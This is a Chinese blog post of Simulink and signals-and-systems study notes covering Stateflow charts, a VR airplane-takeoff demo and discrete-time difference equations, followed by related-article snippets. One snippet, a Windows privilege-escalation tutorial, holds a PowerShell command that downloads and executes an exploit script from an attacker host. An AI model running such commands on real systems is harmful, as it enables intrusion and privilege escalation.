胡说八道(24.6.9)——离散时间系统及simulink仿真

  上回说道拉普拉斯变换的定义、性质以及在电路分析中的应用。今天先来谈谈simulink仿真,可为是让我非常的震惊,今天做了三种模型的应用。第一个是simulink中有限状态机的应用,用来解决一些复杂的逻辑问题,实现状态之间的转换。第一步,唤醒stateflow,这里只要在命令行窗口输入stateflow命令就行。大家就能得到一个空的chart图,双击进去开始一些状态构造。这里两个简单的实例进行讲解。首先是输入一个正弦函数,负数部分变为正数,正数保持不变。大致的状态图和电路图如下。

    这里编译状态就直接双击线。然后输入对应的逻辑就行了。这里最重要的就是值的引入。不引入值的话会报错,说你没有定义变量。可以通过右击chart中的任意位置,找到    Add Inputs & Outputs选取对应的选项,这里因为没有涉及到事件的定义,我就直接定义了两个变量in和out。最后,我们来看看这个波形。

    对比输入和输出信号的波形图,实现了简单的翻转信号。第二个则是涉及到上升沿触发的事件,输入为1时,y=t,输入为2时,y=-t;系统有两个状态,状态由positive迁移到negative,输出等于输入1;反过来,输出等于输入2。大致的状态图和电路图如下。

    在这个实例大家就要去设置事件——上升沿进行一个触发。看看它最终的波形图。

    我们能够清晰的想到两个线,y=t和y=-t包络着这个图像。这里有一个注意的地方,图像输出的太少怎么办?点击Scope的设置——找到time,将它的timespan(时间跨度)下拉菜单,看到<user-defined>,就能修改了。

    接下来就是simulink的第二个大部分——各类3D模型怎么玩?这里就以飞机起飞为例子。simulink的3D库在命令窗口输入vrlib就能唤醒了。同时,你输入vrtut2就能看到MATLAB中它原本配对的飞机起飞模型。但是它只能现在只能通过示波器观看,怎么看到它的模型呢?这里就需要VR sink这个模块了。双击它——点击Browse——找到matlabroot\toolbox\sl3ddemos——vrtkoff.wrl。接下来就是引脚的设置,在Plane(Transform)节点中选中Rotation和Transform,单击Apply。连接电路图大致如下图,接下来我们看看简单效果和电路图。

    你大概能够看见一架飞机起飞的过程,非常nice。当时,我看到这个时候,是非常的震惊,虽然这个比不上现在一些3D建模软件看起来感觉好,但是,我觉得够了。学习MATLAB已经近两年了。今天才知道!O.o.......

    第三个大部分是用simulink编写实验报告模板pdf。嗯........怎么说呢?我觉得的很烦,不推荐大家去用,不如一些AI来得快。里面涉及大量的代码编写以及逻辑关系的额分配。反正,我搞完是非常晕的。

    总结一下,我只能说MATLAB你到底还藏了多少东西。O_O    

    接下来,继续信号与系统的笔记编写,由题目可知,今天咱们谈的是离散时间信号(序列)。其实呢,就是连续时间信号x(t)进行采样,采样间隔为T,得到离散时间序列x(nT),n为整数。常用的信号对应到离散域实际上并没有变多少。除了冲激序列δ(n)在n=0上取的是1。

    接着,谈谈常系数线性差分方程的求解。其实它根本思想和微分方程的求解差不多。先求出特征方程的根。根据特征根的不同情况(不同实根、重根、共轭复根等)来确定通解的形式。再根据初始条件确定通解中的待定系数,得到特解。具体大家可以在看看之前的文章。

    今天就说这么多吧。

    欲知后事如何,且听下回分解。OVO

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/28944.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Pytorch深度解析:Transformer嵌入层源码逐行解读

前言 本部分博客需要先阅读博客&#xff1a; 《Transformer实现以及Pytorch源码解读&#xff08;一&#xff09;-数据输入篇》 作为知识储备。 Embedding使用方式 如下面的代码中所示&#xff0c;embedding一般是先实例化nn.Embedding(vocab_size, embedding_dim)。实例化的…

赶紧收藏!2024 年最常见 20道设计模式面试题(二)

上一篇地址&#xff1a;赶紧收藏&#xff01;2024 年最常见 20道设计模式面试题&#xff08;一&#xff09;-CSDN博客 三、解释抽象工厂模式&#xff0c;并给出一个实际应用的例子。 抽象工厂模式是一种创建型设计模式&#xff0c;用于创建一系列相关或依赖对象的接口&#x…

双绞线(网线)的制作与测试

实验目的 1、熟悉常用双绞线&#xff08;网线&#xff09;及其制作工具的使用&#xff1b; 2、掌握非屏蔽双绞线的直通线、交叉线的制作及连接方法&#xff1b; 3、掌握双绞线连通性的测试。 设备要求&#xff1a;RJ45压线钳&#xff0c;RJ45水晶头&#xff0c;UTP线缆&…

小白 | windows提权

1.CVE-2016-0099 (MS16-032) 这是一个Windows内核特权提升漏洞&#xff0c;利用该漏洞可以获得系统权限。 # 使用公开的POC进行利用&#xff0c;如 powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString(http://<attacker_ip>/Invoke-MS16-032.ps1)…

【Android面试八股文】你能说一说为什么IO是耗时操作?

IO(输入/输出)操作之所以是耗时操作,主要是由于以下几个原因: 1. 物理设备的限制 机械动作:传统的硬盘驱动器(HDD)包含旋转的磁盘和移动的磁头,以读取或写入数据。这些机械动作需要时间完成。虽然固态硬盘(SSD)没有机械部件,但它们仍然受到电子信号传输速度的限制。…

LSTM模型预测时间序列

长短期记忆模型(Long Short-Term Memory, LSTM)&#xff0c;是一种特殊的循环神经网络&#xff0c;能够学习长期依赖性。长短期记忆模型在各种各样的问题上表现非常出色&#xff0c;现在被广泛使用&#xff0c;例如&#xff0c;文本生成、机器翻译、语音识别、时序数据预测、生…

121.买卖股票的最佳时机

给定一个数组 prices &#xff0c;它的第 i 个元素 prices[i] 表示一支给定股票第 i 天的价格。 你只能选择 某一天 买入这只股票&#xff0c;并选择在 未来的某一个不同的日子 卖出该股票。设计一个算法来计算你所能获取的最大利润。 返回你可以从这笔交易中获取的最大利润。…

架构师输出物

一、需求分析阶段 1、需求分析文档 记录详细的业务需求和功能需求。 包含需求的优先级和约束条件。 2、可行性分析报告 技术可行性分析。 风险评估与缓解方案。 二、概念设计阶段 1、技术选型报告 选择适合的技术栈、框架和工具。 各种技术栈的优缺点比较。 2、架构方案设计文…

经典老款双运放NE5532

1 产品特点 等效输入噪声电压&#xff1a; 5nV H z \sqrt[]{ Hz} Hz ​&#xff08;典型值&#xff0c;1 kHz&#xff09; 单位增益带宽&#xff1a;10 MHz &#xff08;典型值&#xff09; 共模抑制比&#xff1a;100 dB &#xff08;典型值&#xff09; 高直流电压增益&…

【Python高级编程】Pickle实现AI算法训练的权重数据的保存

任务描述 代码实现 import pickle import time import os import numpy as np# 模拟耗时的权重计算过程 def calculate_weights():print("开始计算权重...")time.sleep(5) # 模拟耗时操作&#xff0c;暂停5秒以模拟计算过程weights np.random.rand(10, 10) # 随机…

AI产品经理,应掌握哪些技术?

美国的麻省理工学院&#xff08;Massachusetts Institute of Technology&#xff09;专门负责科技成果转化商用的部门研究表明&#xff1a; 每一块钱的科研投入&#xff0c;需要100块钱与之配套的投资&#xff08;人、财、物&#xff09;&#xff0c;才能把思想转化为产品&…

flutter开发实战-创建一个微光加载效果

flutter开发实战-创建一个微光加载效果 当加载数据的时候&#xff0c;loading是必不可少的。从用户体验&#xff08;UX&#xff09;的角度来看&#xff0c;最重要的是向用户展示加载正在进行。向用户传达数据正在加载的一种流行方法是在与正在加载的内容类型近似的形状上显示带…

货代小白快来收藏‼️普货与非普货的区别

普货是指不属于以下类别的普通货物 危险品 冷冻/冷藏品 违禁品 仿牌货 敏感货 危险品 危险品具体分为九类&#xff1a; 爆炸品 压缩气体 易燃液体 易燃固体、易燃物品和遇湿易燃物品 氧化剂和有机氧化物 有毒和感染性物品 放射性 腐蚀性 杂类 冷冻/冷藏品 主要是指以食品为主的…

简述spock以及使用

1. 介绍 1.1 Spock是什么&#xff1f; Spock是一款国外优秀的测试框架&#xff0c;基于BDD&#xff08;行为驱动开发&#xff09;思想实现&#xff0c;功能非常强大。Spock结合Groovy动态语言的特点&#xff0c;提供了各种标签&#xff0c;并采用简单、通用、结构化的描述语言…

php配合fiddler批量下载淘宝天猫商品数据分享

有个做电商的朋友问我,每次上款,需要手动去某宝去搬运商品图片视频,问我能不能帮忙写个脚本,朋友开口了,那就尝试一下 首先打开某宝,访问一款商品,找出他的数据来源 通过观察我们发现主图数据来这个接口输出 h5api.m.taobao.com/h5/mtop.taobao.pcdetail.data.get/1.0 …

如何学习创建和使用 Java 归档(JAR)文件

1. 简介 JAR&#xff08;Java ARchive&#xff09;文件是一种用于打包多个Java类、资源文件和元数据的压缩文件格式。它在Java开发和发布过程中扮演着重要角色。通过使用JAR文件&#xff0c;开发者可以将应用程序的所有组件打包在一个文件中&#xff0c;方便分发和部署。 2. …

世界森林覆盖率分布图

原文链接https://mp.weixin.qq.com/s?__bizMzUyNzczMTI4Mg&mid2247680287&idx1&sn6ac57fa7472fc58cad1d5ab11b1d6b3b&chksmfa775e22cd00d7341e4f59d52221fb7f9a8e2d83602ab58719481af66b2f3b153c57f01c68bb&token808263816&langzh_CN&scene21#wec…

开源语音合成模型ChatTTS本地部署结合内网穿透实现远程访问

文章目录 前言1. 下载运行ChatTTS模型2. 安装Cpolar工具3. 实现公网访问4. 配置ChatTTS固定公网地址 前言 本篇文章就教大家如何快速地在Windows中本地部署ChatTTS&#xff0c;并且我们还可以结合Cpolar内网穿透实现公网随时随地访问ChatTTS AI语言模型。 最像人声的AI来了&a…

Airflow任务流调度

0 前言 Airflow是Airbnb内部发起的一个工作流管理平台。使用Python编写实现的任务管理、调度、监控工作流平台。Airflow的调度依赖于crontab命令&#xff0c;与crontab相比&#xff0c;Airflow可以方便地查看任务的执行状况&#xff08;执行是否成功、执行时间、执行依赖等&…

C++算法——回溯

回溯算法 实现思想 先看一个实例&#xff1a; //暴力枚举的算法 int n 5; for (int a 1; i < n; i) {for (int b 1; b < n; b){for (int c 1; c < n; c){for (int d 1; d < n; d){for (int e 1; e < n; e){//判断 abcde 是否互补相同if (a ! b &&a…